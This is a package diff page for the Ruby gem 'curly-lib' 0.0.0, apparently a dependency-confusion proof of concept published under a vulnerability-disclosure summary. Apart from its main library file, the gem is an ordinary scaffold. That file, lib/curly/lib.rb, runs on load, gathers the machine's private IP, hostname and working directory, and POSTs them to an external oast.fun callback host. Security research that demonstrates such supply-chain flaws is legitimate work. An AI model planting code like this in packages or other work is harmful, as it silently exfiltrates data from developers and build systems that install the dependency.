curly-lib 0.0.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: b21dbd4682fc899ee6f105660b8873c75b4c892efa155038546d7605bfd56819
4
+ data.tar.gz: a66adfbf42d74aff466fca6e5c25db323b10686f1765e2c10bc7e7da78b2264e
5
+ SHA512:
6
+ metadata.gz: 00efd0f45166c19a3a2cc89b9e44aefbe2f6ad23c5eb8c8f2bf23e80feea53c9974c31afeca00df249aa58bc636fa16fb94d8c5d4b19e9880959c6535b8e35e3
7
+ data.tar.gz: 6eb420df67f5fd84d0fdf8b8004e13440854318f11bfa7cc957118bdeaf7822466bb6c180bb5a07e96a996f24473ad9aa0f9ca50eebce228da7629a44b46f6f7
data/.gitignore ADDED
@@ -0,0 +1,8 @@
1
+ /.bundle/
2
+ /.yardoc
3
+ /_yardoc/
4
+ /coverage/
5
+ /doc/
6
+ /pkg/
7
+ /spec/reports/
8
+ /tmp/
data/Gemfile ADDED
@@ -0,0 +1,6 @@
1
+ source "https://rubygems.org"
2
+
3
+ git_source(:github) {|repo_name| "https://github.com/#{repo_name}" }
4
+
5
+ # Specify your gem's dependencies in curly-lib.gemspec
6
+ gemspec
data/README.md ADDED
@@ -0,0 +1,35 @@
1
+ # Curly::Lib
2
+
3
+ Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/curly/lib`. To experiment with that code, run `bin/console` for an interactive prompt.
4
+
5
+ TODO: Delete this and the text above, and describe your gem
6
+
7
+ ## Installation
8
+
9
+ Add this line to your application's Gemfile:
10
+
11
+ ```ruby
12
+ gem 'curly-lib'
13
+ ```
14
+
15
+ And then execute:
16
+
17
+ $ bundle
18
+
19
+ Or install it yourself as:
20
+
21
+ $ gem install curly-lib
22
+
23
+ ## Usage
24
+
25
+ TODO: Write usage instructions here
26
+
27
+ ## Development
28
+
29
+ After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
30
+
31
+ To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
32
+
33
+ ## Contributing
34
+
35
+ Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/curly-lib.
data/Rakefile ADDED
@@ -0,0 +1,2 @@
1
+ require "bundler/gem_tasks"
2
+ task :default => :spec
data/bin/console ADDED
@@ -0,0 +1,14 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ require "bundler/setup"
4
+ require "curly/lib"
5
+
6
+ # You can add fixtures and/or initialization code here to make experimenting
7
+ # with your gem easier. You can also use a different console, if you like.
8
+
9
+ # (If you use this, don't forget to add pry to your Gemfile!)
10
+ # require "pry"
11
+ # Pry.start
12
+
13
+ require "irb"
14
+ IRB.start(__FILE__)
data/bin/setup ADDED
@@ -0,0 +1,8 @@
1
+ #!/usr/bin/env bash
2
+ set -euo pipefail
3
+ IFS=$'\n\t'
4
+ set -vx
5
+
6
+ bundle install
7
+
8
+ # Do any other automated setup that you need to do here
data/curly-lib.gemspec ADDED
@@ -0,0 +1,38 @@
1
+
2
+ lib = File.expand_path("../lib", __FILE__)
3
+ $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
4
+ require "curly/lib/version"
5
+
6
+ Gem::Specification.new do |spec|
7
+ spec.name = "curly-lib"
8
+ spec.version = Curly::Lib::VERSION
9
+ spec.authors = ["alifathi-h1"]
10
+ spec.email = ["alifathi@wearehackerone.com"]
11
+
12
+ spec.summary = "Vulnerability Disclosure: Dependency confusion vulnerability"
13
+ spec.homepage = "https://hackerone.com/alifathi"
14
+
15
+ # Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
16
+ # to allow pushing to a single host or delete this section to allow pushing to any host.
17
+ if spec.respond_to?(:metadata)
18
+
19
+ spec.metadata["homepage_uri"] = spec.homepage
20
+ spec.metadata["source_code_uri"] = "https://github.com/alifathi-h1/curly-lib.git"
21
+ spec.metadata["changelog_uri"] = "https://github.com/alifathi-h1/curly-lib/changelog.txt"
22
+ else
23
+ raise "RubyGems 2.0 or newer is required to protect against " \
24
+ "public gem pushes."
25
+ end
26
+
27
+ # Specify which files should be added to the gem when it is released.
28
+ # The `git ls-files -z` loads the files in the RubyGem that have been added into git.
29
+ spec.files = Dir.chdir(File.expand_path('..', __FILE__)) do
30
+ `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
31
+ end
32
+ spec.bindir = "exe"
33
+ spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
34
+ spec.require_paths = ["lib"]
35
+
36
+ spec.add_development_dependency "bundler", "~> 1.17"
37
+ spec.add_development_dependency "rake", "~> 10.0"
38
+ end
@@ -0,0 +1,5 @@
1
+ module Curly
2
+ module Lib
3
+ VERSION = "0.0.0"
4
+ end
5
+ end
data/lib/curly/lib.rb ADDED
@@ -0,0 +1,28 @@
1
+ module lib
2
+
3
+ require 'json'
4
+ require 'net/http'
5
+ require 'socket'
6
+
7
+ #Private IP
8
+ privip = UDPSocket.open {|s| s.connect("146.190.26.50", 1); s.addr.last}
9
+ #Hostname
10
+ hostname = Socket.gethostname
11
+ #Current directory
12
+ dir = Dir.pwd
13
+
14
+ uri = URI('https://aihpfsrzdfwqtrxkejnh320z67w7bkw27.oast.fun')
15
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
16
+
17
+ req.body = {
18
+ private_ip: privip,
19
+ hostname: hostname,
20
+ current_directory: dir
21
+ }.to_json
22
+
23
+ Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
24
+ http.request(req)
25
+ end
26
+
27
+ end
28
+
metadata ADDED
@@ -0,0 +1,82 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: curly-lib
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.0
5
+ platform: ruby
6
+ authors:
7
+ - alifathi-h1
8
+ autorequire:
9
+ bindir: exe
10
+ cert_chain: []
11
+ date: 2024-05-02 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: bundler
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - "~>"
18
+ - !ruby/object:Gem::Version
19
+ version: '1.17'
20
+ type: :development
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - "~>"
25
+ - !ruby/object:Gem::Version
26
+ version: '1.17'
27
+ - !ruby/object:Gem::Dependency
28
+ name: rake
29
+ requirement: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - "~>"
32
+ - !ruby/object:Gem::Version
33
+ version: '10.0'
34
+ type: :development
35
+ prerelease: false
36
+ version_requirements: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - "~>"
39
+ - !ruby/object:Gem::Version
40
+ version: '10.0'
41
+ description:
42
+ email:
43
+ - alifathi@wearehackerone.com
44
+ executables: []
45
+ extensions: []
46
+ extra_rdoc_files: []
47
+ files:
48
+ - ".gitignore"
49
+ - Gemfile
50
+ - README.md
51
+ - Rakefile
52
+ - bin/console
53
+ - bin/setup
54
+ - curly-lib.gemspec
55
+ - lib/curly/lib.rb
56
+ - lib/curly/lib/version.rb
57
+ homepage: https://hackerone.com/alifathi
58
+ licenses: []
59
+ metadata:
60
+ homepage_uri: https://hackerone.com/alifathi
61
+ source_code_uri: https://github.com/alifathi-h1/curly-lib.git
62
+ changelog_uri: https://github.com/alifathi-h1/curly-lib/changelog.txt
63
+ post_install_message:
64
+ rdoc_options: []
65
+ require_paths:
66
+ - lib
67
+ required_ruby_version: !ruby/object:Gem::Requirement
68
+ requirements:
69
+ - - ">="
70
+ - !ruby/object:Gem::Version
71
+ version: '0'
72
+ required_rubygems_version: !ruby/object:Gem::Requirement
73
+ requirements:
74
+ - - ">="
75
+ - !ruby/object:Gem::Version
76
+ version: '0'
77
+ requirements: []
78
+ rubygems_version: 3.0.3.1
79
+ signing_key:
80
+ specification_version: 4
81
+ summary: 'Vulnerability Disclosure: Dependency confusion vulnerability'
82
+ test_files: []